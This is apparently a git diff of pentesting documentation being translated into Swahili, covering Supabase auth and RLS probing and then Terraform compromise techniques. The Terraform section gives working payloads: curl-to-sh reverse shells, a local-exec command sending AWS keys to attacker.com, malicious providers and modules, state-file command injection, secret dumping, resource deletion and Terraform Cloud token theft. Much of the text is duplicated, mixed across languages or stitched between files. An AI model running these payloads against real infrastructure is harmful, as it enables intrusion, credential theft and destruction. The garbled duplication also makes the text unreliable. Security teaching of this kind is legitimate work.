Hata hivyo, akaunti hizi mpya, kwa chaguo-msingi, **zitahitajika kuthibitisha anwani yao ya barua pepe** ili waweze kuingia kwenye akaunti. Inawezekana kuwezesha **"Allow anonymous sign-ins"** ili kuruhusu watu kuingia bila kuthibitisha barua pepe yao. Hii inaweza kutoa ufikiaji wa **data isiyotegemewa** (wanapata majukumu `public` na `authenticated`).\
Hii ni wazo baya sana kwa sababu supabase hutoza kwa kila mtumiaji anayeendelea hivyo watu wanaweza kuunda watumiaji na kuingia na supabase itatoza kwao:
<figure><img src="../images/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
#### Auth: Server-side signup enforcement
Hiding the signup button in the frontend is not enough. If the **Auth server still allows signups**, an attacker can call the API directly with the public `anon` key and create arbitrary users.
Quick test (from an unauthenticated client):
Kuficha kitufe cha usajili kwenye frontend haitoshi. Ikiwa **Auth server bado inaruhusu usajili**, mshambuliaji anaweza kupiga API moja kwa moja kwa ufunguo wa umma `anon` na kuunda watumiaji yoyote.
Jaribio la haraka (kutoka kwa client isiyethibitishwa):
```bash
curl -X POST \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-d '{"email":"attacker@example.com","password":"Sup3rStr0ng!"}' \
https://<PROJECT_REF>.supabase.co/auth/v1/signup
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-d '{"email":"attacker@example.com","password":"Sup3rStr0ng!"}' \
https://<PROJECT_REF>.supabase.co/auth/v1/signup
```
Expected hardening:
- Disable email/password signups in the Dashboard: Authentication → Providers → Email → Disable sign ups (invite-only), or set the equivalent GoTrue setting.
- Verify the API now returns 4xx to the previous call and no new user is created.
- If you rely on invites or SSO, ensure all other providers are disabled unless explicitly needed.
- Zima usajili wa email/password kwenye Dashboard: Authentication → Providers → Email → Disable sign ups (invite-only), au weka setting sawa ya GoTrue.
- Thibitisha API sasa inarudisha 4xx kwa mwito uliotumika hapo awali na hakuna mtumiaji mpya ameundwa.
- Ikiwa unategemea invites au SSO, hakikisha providers zote zingine zimesitishwa isipokuwa zinahitajika wazi.
## RLS and Views: Write bypass via PostgREST
Using a Postgres VIEW to “hide” sensitive columns and exposing it via PostgREST can change how privileges are evaluated. In PostgreSQL:
- Ordinary views execute with the privileges of the view owner by default (definer semantics). In PG ≥15 you can opt into `security_invoker`.
- Row Level Security (RLS) applies on base tables. Table owners bypass RLS unless `FORCE ROW LEVEL SECURITY` is set on the table.
- Updatable views can accept INSERT/UPDATE/DELETE that are then applied to the base table. Without `WITH CHECK OPTION`, writes that dont match the view predicate may still succeed.
Kutumia Postgres VIEW ku “ficha” nguzo zenye taarifa nyeti na kuziweka wazi kupitia PostgREST kunaweza kubadilisha jinsi vibali vinavyotathminiwa. Katika PostgreSQL:
- Ordinary views hufanya kazi kwa vibali vya mmiliki wa view kwa chaguo-msingi (definer semantics). Katika PG ≥15 unaweza kuchagua `security_invoker`.
- Row Level Security (RLS) inatumika kwenye base tables. Wamiliki wa jedwali wanapita RLS isipokuwa `FORCE ROW LEVEL SECURITY` imewekwa kwenye jedwali.
- Updatable views zinaweza kupokea INSERT/UPDATE/DELETE ambazo kisha zinaombwa kwenye base table. Bila `WITH CHECK OPTION`, maandishi ambayo hayalingani na predicate ya view bado yanaweza kufanikiwa.
Risk pattern observed in the wild:
- A reduced-column view is exposed through Supabase REST and granted to `anon`/`authenticated`.
- PostgREST allows DML on the updatable view and the operation is evaluated with the view owners privileges, effectively bypassing the intended RLS policies on the base table.
- Result: low-privileged clients can mass-edit rows (e.g., profile bios/avatars) they should not be able to modify.
- View yenye nguzo zilizopunguzwa imewekwa wazi kupitia Supabase REST na imetolewa kwa `anon`/`authenticated`.
- PostgREST inaruhusu DML kwenye updatable view na operesheni inatathminiwa kwa vibali vya mmiliki wa view, kwa ufanisi ikipita sera za RLS zilizokusudiwa kwenye base table.
- Matokeo: wateja wenye vibali vidogo wanaweza kuhariri kwa wingi rows (mfano, profile bios/avatars) ambazo hawastahili kuhariri.
Illustrative write via view (attempted from a public client):
```bash
curl -X PATCH \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-H "Prefer: return=representation" \
-d '{"bio":"pwned","avatar_url":"https://i.example/pwn.png"}' \
"https://<PROJECT_REF>.supabase.co/rest/v1/users_view?id=eq.<victim_user_id>"
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-H "Prefer: return=representation" \
-d '{"bio":"pwned","avatar_url":"https://i.example/pwn.png"}' \
"https://<PROJECT_REF>.supabase.co/rest/v1/users_view?id=eq.<victim_user_id>"
```
Hardening checklist for views and RLS:
- Prefer exposing base tables with explicit, least-privilege grants and precise RLS policies.
- Pendelea kufichua base tables na grants wazi za least-privilege na sera za RLS zilizo sahihi.
- If you must expose a view:
- Make it non-updatable (e.g., include expressions/joins) or deny `INSERT/UPDATE/DELETE` on the view to all untrusted roles.
- Enforce `ALTER VIEW <v> SET (security_invoker = on)` so the invokers privileges are used instead of the owners.
- On base tables, use `ALTER TABLE <t> FORCE ROW LEVEL SECURITY;` so even owners are subject to RLS.
- If allowing writes via an updatable view, add `WITH [LOCAL|CASCADED] CHECK OPTION` and complementary RLS on base tables to ensure only allowed rows can be written/changed.
- In Supabase, avoid granting `anon`/`authenticated` any write privileges on views unless you have verified end-to-end behavior with tests.
- Fanya isiwe ya kusasishwa (mfano, jumuisha expressions/joins) au kata `INSERT/UPDATE/DELETE` kwenye view kwa roles zote zisizo za kuaminika.
- Lazimisha `ALTER VIEW <v> SET (security_invoker = on)` ili haki za invoker zitumike badala za za owner.
- Kwa base tables, tumia `ALTER TABLE <t> FORCE ROW LEVEL SECURITY;` ili hata owners wawekwe chini ya RLS.
- Ikiwa unaruhusu uandishi kupitia updatable view, ongeza `WITH [LOCAL|CASCADED] CHECK OPTION` na RLS inayolingana kwenye base tables ili kuhakikisha mistari tu iliyoruhusiwa inaweza kuandikwa/kubadilishwa.
- Katika Supabase, epuka kuipa `anon`/`authenticated` haki zozote za kuandika kwenye views isipokuwa umehakiki tabia end-to-end kwa mitihani.
Detection tip:
- From `anon` and an `authenticated` test user, attempt all CRUD operations against every exposed table/view. Any successful write where you expected denial indicates a misconfiguration.
- Kutoka kwa `anon` na mtumiaji wa mtihani wa `authenticated`, jaribu shughuli zote za CRUD dhidi ya kila table/view iliyofichuliwa. Kila uandishi uliofanikiwa ulipokuwa unatarajia kukataliwa unaashiria misconfiguration.
### OpenAPI-driven CRUD probing from anon/auth roles
PostgREST exposes an OpenAPI document that you can use to enumerate all REST resources, then automatically probe allowed operations from low-privileged roles.
PostgREST hutoa dokumenti ya OpenAPI ambayo unaweza kutumia kuratibu rasilimali zote za REST, kisha kuchunguza kiotomatiki operesheni zinazoruhusiwa kutoka kwa roles za kiwango cha chini.
Fetch the OpenAPI (works with the public anon key):
```bash
curl -s https://<PROJECT_REF>.supabase.co/rest/v1/ \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Accept: application/openapi+json" | jq '.paths | keys[]'
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Accept: application/openapi+json" | jq '.paths | keys[]'
```
Probe pattern (examples):
- Read a single row (expect 401/403/200 depending on RLS):
Mfumo wa Probe (mifano):
- Soma safu moja (utarajia 401/403/200 kutegemea RLS):
```bash
curl -s "https://<PROJECT_REF>.supabase.co/rest/v1/<table>?select=*&limit=1" \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>"
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>"
```
- Test UPDATE is blocked (use a non-existing filter to avoid altering data during testing):
- Jaribu UPDATE imezuiwa (tumia filter isiyopo ili kuepuka kubadilisha data wakati wa majaribio):
```bash
curl -i -X PATCH \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-H "Prefer: return=minimal" \
-d '{"__probe":true}' \
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-H "Prefer: return=minimal" \
-d '{"__probe":true}' \
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
```
- Test INSERT is blocked:
- Jaribio la INSERT limezuiwa:
```bash
curl -i -X POST \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-H "Prefer: return=minimal" \
-d '{"__probe":true}' \
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>"
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
-H "Content-Type: application/json" \
-H "Prefer: return=minimal" \
-d '{"__probe":true}' \
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>"
```
- Test DELETE is blocked:
- Thibitisha DELETE imezuiwa:
```bash
curl -i -X DELETE \
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
-H "apikey: <SUPABASE_ANON_KEY>" \
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
```
Recommendations:
- Automate the previous probes for both `anon` and a minimally `authenticated` user and integrate them in CI to catch regressions.
- Treat every exposed table/view/function as a first-class surface. Dont assume a view “inherits” the same RLS posture as its base tables.
- Automate probes zilizotajwa hapo juu kwa `anon` na mtumiaji aliye minimally `authenticated` na ziingize katika CI ili kugundua regressions.
- Tenga kila table/view/function iliyofunguliwa kama surface ya daraja la kwanza. Usidhani view “inherits” posture sawa ya RLS kama base tables zake.
### Passwords & sessions
It's possible to indicate the minimum password length (by default), requirements (no by default) and disallow to use leaked passwords.\
It's recommended to **improve the requirements as the default ones are weak**.
Inawezekana kutaja urefu wa chini wa password (kwa chaguo-msingi), requirements (hapana kwa chaguo-msingi) na kuzuia kutumia leaked passwords.\
Inashauriwa **kuboresha requirements kwani zile za kawaida ni dhaifu**.
- User Sessions: It's possible to configure how user sessions work (timeouts, 1 session per user...)
- Bot and Abuse Protection: It's possible to enable Captcha.
- User Sessions: Inawezekana kusanidi jinsi user sessions zinavyofanya kazi (timeouts, 1 session per user...)
- Bot and Abuse Protection: Inawezekana kuwezesha Captcha.
### SMTP Settings
It's possible to set an SMTP to send emails.
Inawezekana kuweka SMTP kutuma emails.
### Advanced Settings
- Set expire time to access tokens (3600 by default)
- Set to detect and revoke potentially compromised refresh tokens and timeout
- MFA: Indicate how many MFA factors can be enrolled at once per user (10 by default)
- Max Direct Database Connections: Max number of connections used to auth (10 by default)
- Max Request Duration: Maximum time allowed for an Auth request to last (10s by default)
- Weka expire time kwa access tokens (3600 kwa chaguo-msingi)
- Weka kugundua na ku-revoke refresh tokens ambazo zinaweza kuwa compromised na timeout
- MFA: Onyesha ni kiasi gani cha MFA factors kinachoweza kusajiliwa kwa wakati mmoja kwa kila mtumiaji (10 kwa chaguo-msingi)
- Max Direct Database Connections: Idadi ya juu ya connections zinazotumiwa kwa auth (10 kwa chaguo-msingi)
- Max Request Duration: Muda wa juu unaoruhusiwa kwa Auth request kudumu (10s kwa chaguo-msingi)
## Storage
> [!TIP]
> Supabase allows **to store files** and make them accesible over a URL (it uses S3 buckets).
> Supabase inaruhusu **kuhifadhi faili** na kuyafanya yafikike kupitia URL (inatumia S3 buckets).
- Set the upload file size limit (default is 50MB)
- The S3 connection is given with a URL like: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
- It's possible to **request S3 access key** that are formed by an `access key ID` (e.g. `a37d96544d82ba90057e0e06131d0a7b`) and a `secret access key` (e.g. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
- Weka ukomo wa ukubwa wa faili zinazopakiwa (kwa kawaida ni 50MB)
- Muunganisho wa S3 unatolewa kwa URL kama: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
- Inawezekana **kuomba S3 access key** ambazo zimetengenezwa na `access key ID` (mfano `a37d96544d82ba90057e0e06131d0a7b`) na `secret access key` (mfano `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
## Edge Functions
It's possible to **store secrets** in supabase also which will be **accessible by edge functions** (the can be created and deleted from the web, but it's not possible to access their value directly).
Inawezekana pia **kuhifadhi secrets** katika supabase ambazo zitatumika na zitakuwa **accessible by edge functions** (zinaweza kuundwa na kufutwa kutoka kwenye web, lakini haiwezekani kupata thamani zao moja kwa moja).
## References

View File

@@ -1,30 +1,30 @@
# Terraform Security
# Usalama wa Terraform
{{#include ../banners/hacktricks-training.md}}
## Basic Information
## Taarifa za Msingi
[From the docs:](https://developer.hashicorp.com/terraform/intro)
HashiCorp Terraform is an **infrastructure as code tool** that lets you define both **cloud and on-prem resources** in human-readable configuration files that you can version, reuse, and share. You can then use a consistent workflow to provision and manage all of your infrastructure throughout its lifecycle. Terraform can manage low-level components like compute, storage, and networking resources, as well as high-level components like DNS entries and SaaS features.
HashiCorp Terraform ni chombo cha miundombinu kama msimbo (infrastructure as code tool) ambacho kinakuruhusu kufafanua rasilimali za cloud and on-prem resources katika faili za configuration zinazoweza kusomwa na binadamu ambazo unaweza kuweka version, kuzitumia tena, na kushiriki. Kisha unaweza kutumia mtiririko thabiti ku-provision na kusimamia miundombinu yako yote katika mzunguko wake wa maisha. Terraform inaweza kusimamia vipengele vya chini kama compute, storage, na networking resources, pamoja na vipengele vya ngazi ya juu kama DNS entries na SaaS features.
#### How does Terraform work?
Terraform creates and manages resources on cloud platforms and other services through their application programming interfaces (APIs). Providers enable Terraform to work with virtually any platform or service with an accessible API.
Terraform huunda na kudhibiti rasilimali kwenye cloud platforms na huduma nyingine kupitia application programming interfaces (APIs) zao. Providers humruhusu Terraform kufanya kazi na karibu jukwaa au huduma yoyote yenye API inayopatikana.
![](<../images/image (177).png>)
HashiCorp and the Terraform community have already written **more than 1700 providers** to manage thousands of different types of resources and services, and this number continues to grow. You can find all publicly available providers on the [Terraform Registry](https://registry.terraform.io/), including Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, and many more.
HashiCorp na jamii ya Terraform tayari wameandika **zaidi ya providers 1700** za kusimamia aina nyingi tofauti za rasilimali na huduma, na idadi hiyo inaendelea kukua. Unaweza kupata providers zote zinazopatikana hadharani kwenye [Terraform Registry](https://registry.terraform.io/), ikiwa ni pamoja na Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, na zaidi.
The core Terraform workflow consists of three stages:
Mtiririko mkuu wa kazi wa Terraform una hatua tatu:
- **Write:** You define resources, which may be across multiple cloud providers and services. For example, you might create a configuration to deploy an application on virtual machines in a Virtual Private Cloud (VPC) network with security groups and a load balancer.
- **Plan:** Terraform creates an execution plan describing the infrastructure it will create, update, or destroy based on the existing infrastructure and your configuration.
- **Apply:** On approval, Terraform performs the proposed operations in the correct order, respecting any resource dependencies. For example, if you update the properties of a VPC and change the number of virtual machines in that VPC, Terraform will recreate the VPC before scaling the virtual machines.
- **Write:** Unafafanua rasilimali, ambazo zinaweza kuwa katika providers na huduma nyingi. Kwa mfano, unaweza kuunda configuration ku-deploy application kwenye virtual machines ndani ya Virtual Private Cloud (VPC) network yenye security groups na load balancer.
- **Plan:** Terraform huunda execution plan inayofafanua miundombinu itakayoundwa, kusasishwa, au kuharibiwa kulingana na miundombinu iliyopo na configuration yako.
- **Apply:** Baada ya idhini, Terraform hutekeleza operesheni zilizopendekezwa kwa mpangilio sahihi, ikiheshimu dependencies za rasilimali. Kwa mfano, ikiwa unasasisha mali za VPC na kubadilisha idadi ya virtual machines katika VPC hiyo, Terraform itarecreate VPC kabla ya kuongeza au kupunguza virtual machines.
![](<../images/image (215).png>)
### Terraform Lab
### Maabara ya Terraform
Just install terraform in your computer.
@@ -34,420 +34,371 @@ Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-
Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files** or to **be able to modify the terraform state file** (see chapter below).
However, terraform is a **very sensitive component** to compromise because it will have **privileged access** to different locations so it can work properly.
Hata hivyo, terraform ni kipengele nyeti sana kuingia kwa sababu itakuwa na privileged access kwa maeneo tofauti ili iweze kufanya kazi ipasavyo.
The main way for an attacker to be able to compromise the system where terraform is running is to **compromise the repository that stores terraform configurations**, because at some point they are going to be **interpreted**.
Njia kuu kwa mshambuliaji kuweza kudhoofisha mfumo ambapo terraform inaendesha ni kudhoofisha repository inayohifadhi terraform configurations, kwa sababu kwa wakati fulani zitatafsiriwa.
Actually, there are solutions out there that **execute terraform plan/apply automatically after a PR** is created, such as **Atlantis**:
Kuna suluhisho ambazo hufanya terraform plan/apply kiotomatiki baada ya PR kuundwa, kama Atlantis:
{{#ref}}
atlantis-security.md
{{#endref}}
If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed `terraform plan` or `terraform apply`.
Iwapo unaweza kudhoofisha faili ya terraform kuna njia tofauti unazoweza kupata RCE wakati mtu anatekeleza `terraform plan` au `terraform apply`.
### Terraform plan
Terraform plan is the **most used command** in terraform and developers/solutions using terraform call it all the time, so the **easiest way to get RCE** is to make sure you poison a terraform config file that will execute arbitrary commands in a `terraform plan`.
Terraform plan ni amri inayotumika zaidi katika terraform na developers/solutions zinazotumia terraform huipigia kila mara, hivyo njia rahisi ya kupata RCE ni kuhakikisha unapoison faili ya config ya terraform itakayotekeleza amri za kibinafsi katika `terraform plan`.
**Using an external provider**
Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`.
Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`:
Kuingiza katika terraform config file kitu kama kifuatacho kutaendesha rev shell wakati wa kutekeleza `terraform plan`:
```javascript
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
**Kutumia mtoa huduma maalum**
**Using a custom provider**
An attacker could send a [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) to the [Terraform Registry](https://registry.terraform.io/) and then add it to the Terraform code in a feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
Mshambulizi anaweza kutuma [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) kwenye [Terraform Registry](https://registry.terraform.io/) na kisha kuiongeza kwenye code ya Terraform katika feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
```javascript
terraform {
required_providers {
evil = {
source = "evil/evil"
version = "1.0"
}
}
}
terraform {
required_providers {
evil = {
source = "evil/evil"
version = "1.0"
}
}
}
provider "evil" {}
```
provider inapakuliwa wakati wa `init` na itaendesha msimbo hatarishi wakati `plan` itakapotekelezwa
The provider is downloaded in the `init` and will run the malicious code when `plan` is executed
Unaweza kupata mfano katika [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
**Kutumia rejea ya nje**
**Using an external reference**
Both mentioned options are useful but not very stealthy (the second is more stealthy but more complex than the first one). You can perform this attack even in a **stealthier way**, by following this suggestions:
- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
Chaguzi zote mbili zilizotajwa ni muhimu lakini si za siri sana (ya pili ni ya siri zaidi lakini ni ngumu zaidi kuliko ya kwanza). Unaweza kufanya shambulizi hili kwa njia inayokuwa **siri zaidi**, kwa kufuata mapendekezo haya:
- Badala ya kuongeza rev shell moja kwa moja ndani ya faili ya terraform, unaweza **kupakia rasilimali ya nje** inayobeba rev shell:
```javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
Unaweza kupata rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- Katika rasilimali ya nje, tumia kipengele cha **ref** kuficha **terraform rev shell code in a branch** ndani ya repo, kitu kama: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
### Terraform Apply
Terraform apply will be executed to apply all the changes, you can also abuse it to obtain RCE injecting **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
You just need to make sure some payload like the following ones ends in the `main.tf` file:
Terraform apply itatekelezwa kutekeleza mabadiliko yote, unaweza pia kuitumia vibaya kupata RCE kwa kuingiza **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
Unahitaji tu kuhakikisha kwamba payload kama zifuatazo inamalizika kwenye faili ya `main.tf`:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}
// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
Fuata **mapendekezo kutoka kwa tekniki iliyotangulia** ili kutekeleza shambulio hili kwa njia ya **kuficha zaidi kwa kutumia marejeleo ya nje**.
Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**.
## Secrets Dumps
You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like:
## Uondoaji wa Siri
Unaweza kuwa na **maadili ya siri yanayotumika na terraform yatolewe** kwa kuendesha `terraform apply` kwa kuongeza kwenye faili ya terraform kitu kama:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
value = nonsensitive(var.do_token)
}
```
## Kutumia Vibaya Faili za State za Terraform
## Abusing Terraform State Files
In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file. Even if you would have write access over the config files, using the vector of state files is often way more sneaky, since you do not leave tracks in the `git` history.
Ikiwa una ruhusa ya kuandika kwenye terraform state files lakini huwezi kubadilisha msimbo wa terraform, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) inatoa chaguzi za kuvutia za kutumia faili hiyo. Hata ikiwa ungetokuwa na ruhusa ya kuandika kwenye faili za config, kutumia njia ya state files mara nyingi ni ya ujanja zaidi, kwa kuwa hauachi alama katika historia ya `git`.
### RCE in Terraform: config file poisoning
It is possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add a fake resource referencing the malicious provider.
Inawezekana [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) kisha kubadilisha mmoja wa providers katika terraform state file na kumwekea ile mbaya au kuongeza fake resource inayorejea provider mbaya.
The provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) builds on the research and weaponizes this principle. You can add a fake resource and state the arbitrary bash command you want to run in the attribute `command`. When the `terraform` run is triggered, this will be read and executed in both the `terraform plan` and `terraform apply` steps. In case of the `terraform apply` step, `terraform` will delete the fake resource from the state file after executing your command, cleaning up after itself. More information and a full demo can be found in the [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce).
To use it directly, just include the following at any position of the `resources` array and customize the `name` and the `command` attributes:
Provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) inaendeleza utafiti huo na inatumia kanuni hii kama silaha. Unaweza kuongeza resource bandia na kuweka amri yoyote ya bash unayotaka kukimbiza katika attribute `command`. Wakati `terraform` run itakapozinduliwa, hii itasomwa na kutekelezwa katika hatua za `terraform plan` na `terraform apply`. Katika hatua ya `terraform apply`, `terraform` itafuta resource bandia kutoka kwa state file baada ya kutekeleza amri yako, ikisafisha baada yake. Maelezo zaidi na demo kamili yanapatikana kwenye [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce).
Ili kuitumia moja kwa moja, weka yafuatayo mahali popote ndani ya array ya `resources` na ubadilishe attributes za `name` na `command`:
```json
{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}
```
Kisha, mara tu `terraform` itakapotekelezwa, msimbo wako utaendeshwa.
Then, as soon as `terraform` gets executed, your code will run.
### Kufuta rasilimali <a href="#deleting-resources" id="deleting-resources"></a>
### Deleting resources <a href="#deleting-resources" id="deleting-resources"></a>
Kuna njia 2 za kufuta rasilimali:
There are 2 ways to destroy resources:
1. **Insert a resource with a random name into the state file pointing to the real resource to destroy**
Because terraform will see that the resource shouldn't exit, it'll destroy it (following the real resource ID indicated). Example from the previous page:
1. **Ingiza resource yenye jina la nasibu katika state file ikielekeza kwa resource halisi ya kufuta**
Kwa sababu `terraform` itaona kwamba resource haipaswi kuwepo, itaiharibu (ikifuata resource ID halisi iliyoashiriwa). Mfano kutoka ukurasa uliopita:
```json
{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
```
2. **Badilisha rasilimali ili ifutwe kwa njia ambayo haiwezekani kusasisha (hivyo itafutwa na kuundwa upya)**
2. **Modify the resource to delete in a way that it's not possible to update (so it'll be deleted a recreated)**
Kwa EC2 instance, kubadilisha aina ya instance inatosha kufanya terraform ifute na kuiunda upya.
For an EC2 instance, modifying the type of the instance is enough to make terraform delete a recreate it.
### Replace blacklisted provider
In case you encounter a situation where `hashicorp/external` was blacklisted, you can re-implement the `external` provider by doing the following. Note: We use a fork of external provider published by https://registry.terraform.io/providers/nazarewk/external/latest. You can publish your own fork or re-implementation as well.
### Badilisha provider aliyekuwekwa kwenye blacklist
Ikiwa utakutana na hali ambapo `hashicorp/external` imewekwa kwenye blacklist, unaweza kutekeleza tena provider ya `external` kwa kufanya yafuatayo. Kumbuka: Tunatumia fork ya external provider iliyochapishwa na https://registry.terraform.io/providers/nazarewk/external/latest. Unaweza kuchapisha fork yako mwenyewe au utekelezaji upya pia.
```terraform
terraform {
required_providers {
external = {
source = "nazarewk/external"
version = "3.0.0"
}
}
required_providers {
external = {
source = "nazarewk/external"
version = "3.0.0"
}
}
}
```
Then you can use `external` as per normal.
Kisha unaweza kutumia `external` kama kawaida.
```terraform
data "external" "example" {
program = ["sh", "-c", "whoami"]
program = ["sh", "-c", "whoami"]
}
```
## Terraform Cloud speculative plan RCE and credential exfiltration
This scenario abuses Terraform Cloud (TFC) runners during speculative plans to pivot into the target cloud account.
Mfano huu unatumia vibaya Terraform Cloud (TFC) runners wakati wa speculative plans ili kuhamia kwenye target cloud account.
- Preconditions:
- Steal a Terraform Cloud token from a developer machine. The CLI stores tokens in plaintext at `~/.terraform.d/credentials.tfrc.json`.
- The token must have access to the target organization/workspace and at least the `plan` permission. VCS-backed workspaces block `apply` from CLI, but still allow speculative plans.
- Discover workspace and VCS settings via the TFC API:
- Uiba token ya Terraform Cloud kutoka kwenye kompyuta ya msanidi programu. CLI inahifadhi tokeni kwa maandishi wazi kwenye `~/.terraform.d/credentials.tfrc.json`.
